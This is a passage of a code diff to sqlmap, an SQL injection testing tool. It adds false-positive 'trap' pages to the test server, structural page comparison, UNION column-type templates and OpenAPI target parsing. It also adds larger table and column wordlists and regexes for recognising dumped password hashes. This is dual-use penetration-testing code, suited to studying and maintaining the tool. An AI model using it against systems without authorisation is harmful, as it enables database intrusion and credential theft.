||||||
|
# heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not
|
||||||
|
# reflected into the structure -> stresses the structure-aware comparison oracle.
|
||||||
|
rows = "".join("<tr><td>%s</td><td>%s</td></tr>" % (_rnd(), _rnd()) for _ in range(3))
|
||||||
|
output = ("<html><head><title>Report</title></head><body><div class=\"csrf\">%s</div>"
|
||||||
|
"<nav class=\"top\">token %s</nav><table id=\"grid\" class=\"res\">%s</table>"
|
||||||
|
"<div class=\"foot\">%s</div></body></html>" % (_rnd(), _rnd(), rows, _rnd()))
|
||||||
|
elif trap == "acceptall":
|
||||||
|
# 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel.
|
||||||
|
output = "<html><body><b>OK</b> welcome to the portal</body></html>"
|
||||||
|
elif trap == "reflect":
|
||||||
|
# echoes the parameter verbatim (reflection) with no SQL sink.
|
||||||
|
output = "<html><body>you searched for: %s</body></html>" % idv
|
||||||
|
elif trap == "errors":
|
||||||
|
# DB-error-looking text for any non-baseline input -> baits error-based detection.
|
||||||
|
output = "<html><body>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result</body></html>" if idv != "1" else "<html><body><b>SQL results:</b><table><tr><td>1</td><td>luther</td></tr></table></body></html>"
|
||||||
|
elif trap == "lengthrand":
|
||||||
|
# response length varies at random (not with the payload) -> baits length-based heuristics.
|
||||||
|
output = "<html><body>ok %s</body></html>" % _rnd(random.choice([4, 40, 400]))
|
||||||
|
elif trap == "slowrand":
|
||||||
|
# random latency, uncorrelated with the payload -> baits time-based detection.
|
||||||
|
time.sleep(random.choice([0, 0, 0, 1]))
|
||||||
|
output = "<html><body>ok %s</body></html>" % _rnd()
|
||||||
|
else:
|
||||||
|
output = "<html><body>?</body></html>"
|
||||||
|
|
||||||
|
self.send_response(OK)
|
||||||
|
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
|
||||||
|
self.send_header("Connection", "close")
|
||||||
|
self.end_headers()
|
||||||
|
self.wfile.write(output.encode(UNICODE_ENCODING))
|
||||||
|
return
|
||||||
|
|
||||||
if self.url == '/':
|
if self.url == '/':
|
||||||
if not any(_ in self.params for _ in ("id", "query")):
|
if not any(_ in self.params for _ in ("id", "query")):
|
||||||
self.send_response(OK)
|
self.send_response(OK)
|
||||||
|
|
|
||||||
|
|
@ -1289,6 +1289,27 @@ def checkDynamicContent(firstPage, secondPage):
|
||||||
count += 1
|
count += 1
|
||||||
|
|
||||||
if count > conf.retries:
|
if count > conf.retries:
|
||||||
|
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
|
||||||
|
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
|
||||||
|
# requests - base the comparison on that value-free structure instead. Dynamic text
|
||||||
|
# (e.g. per-render result rows) then no longer masks an injection whose signal is
|
||||||
|
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
|
||||||
|
# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
|
||||||
|
# to '--text-only' as before.
|
||||||
|
skeleton = extractStructuralTokens(firstPage)
|
||||||
|
if skeleton and skeleton == extractStructuralTokens(secondPage):
|
||||||
|
kb.pageStructurallyStable = True
|
||||||
|
|
||||||
|
if kb.nullConnection:
|
||||||
|
debugMsg = "turning off NULL connection support because of structural page comparison"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
kb.nullConnection = None
|
||||||
|
|
||||||
|
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||||
|
infoMsg += "will base the page comparison on the page structure"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
return
|
||||||
|
|
||||||
warnMsg = "target URL content appears to be too dynamic. "
|
warnMsg = "target URL content appears to be too dynamic. "
|
||||||
warnMsg += "Switching to '--text-only' "
|
warnMsg += "Switching to '--text-only' "
|
||||||
logger.warning(warnMsg)
|
logger.warning(warnMsg)
|
||||||
|
|
@ -1394,26 +1415,7 @@ def checkStability():
|
||||||
raise SqlmapNoneDataException(errMsg)
|
raise SqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
# Before engaging the (lossy) dynamic-content removal / '--text-only' escalation, check
|
checkDynamicContent(firstPage, secondPage)
|
||||||
# whether the page is structurally stable (identical tag/class/id skeleton across the two
|
|
||||||
# requests) despite differing text. If so, base the comparison on that value-free structure
|
|
||||||
# so that dynamic content (e.g. per-render result rows) does not mask an injection. This is
|
|
||||||
# the HTML counterpart of the structure-aware JSON comparison
|
|
||||||
if firstPage and secondPage and extractStructuralTokens(firstPage) == extractStructuralTokens(secondPage):
|
|
||||||
kb.pageStructurallyStable = True
|
|
||||||
|
|
||||||
if kb.nullConnection:
|
|
||||||
debugMsg = "turning off NULL connection "
|
|
||||||
debugMsg += "support because of structural page comparison"
|
|
||||||
logger.debug(debugMsg)
|
|
||||||
|
|
||||||
kb.nullConnection = None
|
|
||||||
|
|
||||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
|
||||||
infoMsg += "will base the page comparison on the page structure"
|
|
||||||
logger.info(infoMsg)
|
|
||||||
else:
|
|
||||||
checkDynamicContent(firstPage, secondPage)
|
|
||||||
|
|
||||||
return kb.pageStable
|
return kb.pageStable
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -561,9 +561,10 @@ def start():
|
||||||
checkNullConnection()
|
checkNullConnection()
|
||||||
|
|
||||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
|
||||||
# NOTE: this is not needed anymore, leaving only to display
|
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
|
||||||
# a warning message to the user in case the page is not stable
|
# UNION column-count detection relies on too (it compares pages) - so it must run when
|
||||||
|
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
|
||||||
checkStability()
|
checkStability()
|
||||||
|
|
||||||
# Do a little prioritization reorder of a testable parameter list
|
# Do a little prioritization reorder of a testable parameter list
|
||||||
|
|
|
||||||
|
|
@ -958,12 +958,19 @@ class Agent(object):
|
||||||
if not infoFile:
|
if not infoFile:
|
||||||
query = _collate(query)
|
query = _collate(query)
|
||||||
|
|
||||||
|
# A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
|
||||||
|
# forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
|
||||||
|
# and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
|
||||||
|
template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
|
||||||
|
|
||||||
for element in xrange(0, count):
|
for element in xrange(0, count):
|
||||||
if element > 0:
|
if element > 0:
|
||||||
unionQuery += ','
|
unionQuery += ','
|
||||||
|
|
||||||
if conf.uValues and conf.uValues.count(',') + 1 == count:
|
if conf.uValues and conf.uValues.count(',') + 1 == count:
|
||||||
unionQuery += conf.uValues.split(',')[element]
|
unionQuery += conf.uValues.split(',')[element]
|
||||||
|
elif template is not None:
|
||||||
|
unionQuery += query if template[element] == "%s" else template[element]
|
||||||
elif element == position:
|
elif element == position:
|
||||||
unionQuery += query
|
unionQuery += query
|
||||||
else:
|
else:
|
||||||
|
|
@ -985,7 +992,9 @@ class Agent(object):
|
||||||
if element > 0:
|
if element > 0:
|
||||||
unionQuery += ','
|
unionQuery += ','
|
||||||
|
|
||||||
if element == position:
|
if template is not None:
|
||||||
|
unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
|
||||||
|
elif element == position:
|
||||||
unionQuery += _collate(multipleUnions)
|
unionQuery += _collate(multipleUnions)
|
||||||
else:
|
else:
|
||||||
unionQuery += char
|
unionQuery += char
|
||||||
|
|
|
||||||
|
|
@ -200,7 +200,7 @@ from thirdparty.clientform.clientform import ParseResponse
|
||||||
from thirdparty.clientform.clientform import ParseError
|
from thirdparty.clientform.clientform import ParseError
|
||||||
from thirdparty.colorama.initialise import init as coloramainit
|
from thirdparty.colorama.initialise import init as coloramainit
|
||||||
from thirdparty.magic import magic
|
from thirdparty.magic import magic
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
from thirdparty.six import unichr as _unichr
|
from thirdparty.six import unichr as _unichr
|
||||||
from thirdparty.six.moves import collections_abc as _collections
|
from thirdparty.six.moves import collections_abc as _collections
|
||||||
from thirdparty.six.moves import configparser as _configparser
|
from thirdparty.six.moves import configparser as _configparser
|
||||||
|
|
@ -2099,7 +2099,9 @@ def getFileType(filePath):
|
||||||
desc = getText(desc)
|
desc = getText(desc)
|
||||||
|
|
||||||
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
|
if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE):
|
||||||
content = openFile(filePath, "rb", encoding=None).read()
|
_ = openFile(filePath, "rb", encoding=None)
|
||||||
|
content = _.read()
|
||||||
|
_.close()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
content.decode()
|
content.decode()
|
||||||
|
|
@ -2624,6 +2626,17 @@ def initCommonOutputs():
|
||||||
if line not in kb.commonOutputs[key]:
|
if line not in kb.commonOutputs[key]:
|
||||||
kb.commonOutputs[key].add(line)
|
kb.commonOutputs[key].add(line)
|
||||||
|
|
||||||
|
# The curated '--common-tables'/'--common-columns' brute-force wordlists are far larger and much
|
||||||
|
# more app-focused than the built-in [Tables]/[Columns] prediction sections (which are mostly
|
||||||
|
# system objects), so fold them into the good-samaritan prediction to raise its real-world hit rate.
|
||||||
|
# The mechanism only reorders the charset, so extra coverage never penalizes a miss.
|
||||||
|
for _key, _path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
|
||||||
|
try:
|
||||||
|
for _ in getFileItems(_path):
|
||||||
|
kb.commonOutputs.setdefault(_key, set()).add(_)
|
||||||
|
except SqlmapSystemException:
|
||||||
|
pass
|
||||||
|
|
||||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||||
"""
|
"""
|
||||||
Returns newline delimited items contained inside file
|
Returns newline delimited items contained inside file
|
||||||
|
|
@ -3310,7 +3323,16 @@ def isNumPosStrValue(value):
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@cachedmethod
|
# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
|
||||||
|
# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
|
||||||
|
# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
|
||||||
|
# setdefault in dict order preserves the original first-match-wins semantics.
|
||||||
|
_DBMS_ALIAS_MAP = {}
|
||||||
|
for _dbmsKey, _dbmsItem in DBMS_DICT.items():
|
||||||
|
for _dbmsAlias in _dbmsItem[0]:
|
||||||
|
_DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
|
||||||
|
_DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
|
||||||
|
|
||||||
def aliasToDbmsEnum(dbms):
|
def aliasToDbmsEnum(dbms):
|
||||||
"""
|
"""
|
||||||
Returns major DBMS name from a given alias
|
Returns major DBMS name from a given alias
|
||||||
|
|
@ -3319,15 +3341,7 @@ def aliasToDbmsEnum(dbms):
|
||||||
'Microsoft SQL Server'
|
'Microsoft SQL Server'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = None
|
return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
|
||||||
|
|
||||||
if dbms:
|
|
||||||
for key, item in DBMS_DICT.items():
|
|
||||||
if dbms.lower() in item[0] or dbms.lower() == key.lower():
|
|
||||||
retVal = key
|
|
||||||
break
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def findDynamicContent(firstPage, secondPage, merge=False):
|
def findDynamicContent(firstPage, secondPage, merge=False):
|
||||||
"""
|
"""
|
||||||
|
|
@ -4414,7 +4428,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||||
|
|
||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
retVal = getUnicode(name)
|
retVal = getUnicode(name)
|
||||||
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
|
# Resolve the identified DBMS once; it is invariant within this call and
|
||||||
|
# Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
|
||||||
|
# re-evaluated several times below.
|
||||||
|
dbms = Backend.getIdentifiedDbms()
|
||||||
|
_ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
|
||||||
|
|
||||||
if _:
|
if _:
|
||||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||||
|
|
@ -4424,13 +4442,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||||
if not conf.noEscape:
|
if not conf.noEscape:
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if isTable:
|
if isTable:
|
||||||
parts = retVal.split('.', 1)
|
parts = retVal.split('.', 1)
|
||||||
for i in xrange(len(parts)):
|
for i in xrange(len(parts)):
|
||||||
|
|
@ -4463,16 +4481,21 @@ def unsafeSQLIdentificatorNaming(name):
|
||||||
retVal = name
|
retVal = name
|
||||||
|
|
||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
# Resolve the identified DBMS once; it is invariant within this call, and
|
||||||
|
# Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
|
||||||
|
# it was re-evaluated up to five times per call.
|
||||||
|
dbms = Backend.getIdentifiedDbms()
|
||||||
|
|
||||||
|
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
retVal = name.replace("[", "").replace("]", "")
|
retVal = name.replace("[", "").replace("]", "")
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
if dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
|
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
|
||||||
|
|
@ -8,7 +8,7 @@ See the file 'LICENSE' for copying permission
|
||||||
import copy
|
import copy
|
||||||
import threading
|
import threading
|
||||||
|
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
from thirdparty.six.moves import collections_abc as _collections
|
from thirdparty.six.moves import collections_abc as _collections
|
||||||
|
|
||||||
class AttribDict(dict):
|
class AttribDict(dict):
|
||||||
|
|
|
||||||
|
|
@ -62,7 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
|
||||||
from lib.utils.safe2bin import safechardecode
|
from lib.utils.safe2bin import safechardecode
|
||||||
from thirdparty import six
|
from thirdparty import six
|
||||||
from thirdparty.magic import magic
|
from thirdparty.magic import magic
|
||||||
from thirdparty.odict import OrderedDict
|
from collections import OrderedDict
|
||||||
|
|
||||||
class Dump(object):
|
class Dump(object):
|
||||||
"""
|
"""
|
||||||
|
|
|
||||||
|
|
@ -180,6 +180,8 @@ class HASH(object):
|
||||||
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
|
||||||
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
|
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
|
||||||
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
|
||||||
|
POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z'
|
||||||
|
MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z'
|
||||||
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z'
|
||||||
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z'
|
||||||
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
|
MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z'
|
||||||
|
|
@ -192,6 +194,8 @@ class HASH(object):
|
||||||
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
|
SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z'
|
||||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||||
|
SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z'
|
||||||
|
SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z'
|
||||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||||
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||||
|
|
@ -205,6 +209,13 @@ class HASH(object):
|
||||||
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
|
SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||||
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
|
DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z'
|
||||||
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
|
DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z'
|
||||||
|
DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||||
|
WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||||
|
WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z'
|
||||||
|
BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||||
|
WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z'
|
||||||
|
ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z'
|
||||||
|
ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z'
|
||||||
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
|
MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z'
|
||||||
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
|
SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z'
|
||||||
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'
|
SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z'
|
||||||
|
|
|
||||||
|
|
@ -492,6 +492,70 @@ def _setBulkMultipleTargets():
|
||||||
warnMsg = "no usable links found (with GET parameters)"
|
warnMsg = "no usable links found (with GET parameters)"
|
||||||
logger.warning(warnMsg)
|
logger.warning(warnMsg)
|
||||||
|
|
||||||
|
def _setOpenApiTargets():
|
||||||
|
if not conf.openApiFile:
|
||||||
|
return
|
||||||
|
|
||||||
|
from lib.parse.openapi import openApiTargets
|
||||||
|
|
||||||
|
if conf.method:
|
||||||
|
warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification"
|
||||||
|
logger.warning(warnMsg)
|
||||||
|
|
||||||
|
# origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base'
|
||||||
|
# (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself.
|
||||||
|
origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None
|
||||||
|
if re.match(r"(?i)\Ahttps?://", conf.openApiFile):
|
||||||
|
infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
content = Request.getPage(url=conf.openApiFile, raise404=True)[0]
|
||||||
|
if not origin:
|
||||||
|
match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile)
|
||||||
|
origin = match.group(1) if match else None
|
||||||
|
else:
|
||||||
|
conf.openApiFile = safeExpandUser(conf.openApiFile)
|
||||||
|
checkFile(conf.openApiFile)
|
||||||
|
infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile
|
||||||
|
logger.info(infoMsg)
|
||||||
|
content = openFile(conf.openApiFile).read()
|
||||||
|
|
||||||
|
try:
|
||||||
|
targets = openApiTargets(content, origin)
|
||||||
|
except ValueError as ex:
|
||||||
|
errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex)
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])):
|
||||||
|
warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. "
|
||||||
|
warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with "
|
||||||
|
warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")"
|
||||||
|
logger.warning(warnMsg)
|
||||||
|
|
||||||
|
before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback
|
||||||
|
mutating = 0
|
||||||
|
for url, method, data, headers in targets:
|
||||||
|
if conf.scope and not re.search(conf.scope, url, re.I):
|
||||||
|
continue
|
||||||
|
if method not in ("GET", "HEAD", "OPTIONS"):
|
||||||
|
mutating += 1
|
||||||
|
kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None))
|
||||||
|
|
||||||
|
added = len(kb.targets) - before
|
||||||
|
if added:
|
||||||
|
conf.multipleTargets = True
|
||||||
|
infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added
|
||||||
|
logger.info(infoMsg)
|
||||||
|
if mutating:
|
||||||
|
warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating
|
||||||
|
warnMsg += "Scanning them may create, modify or delete server-side data"
|
||||||
|
logger.warning(warnMsg)
|
||||||
|
else:
|
||||||
|
warnMsg = "no usable targets derived from the OpenAPI/Swagger specification"
|
||||||
|
if not conf.openApiBase:
|
||||||
|
warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)"
|
||||||
|
logger.warning(warnMsg)
|
||||||
|
|
||||||
def _findPageForms():
|
def _findPageForms():
|
||||||
if not conf.forms or conf.crawlDepth:
|
if not conf.forms or conf.crawlDepth:
|
||||||
return
|
return
|
||||||
|
|
@ -870,6 +934,15 @@ def _setTamperingFunctions():
|
||||||
warnMsg += "a good idea"
|
warnMsg += "a good idea"
|
||||||
logger.warning(warnMsg)
|
logger.warning(warnMsg)
|
||||||
|
|
||||||
|
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
|
||||||
|
# (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so
|
||||||
|
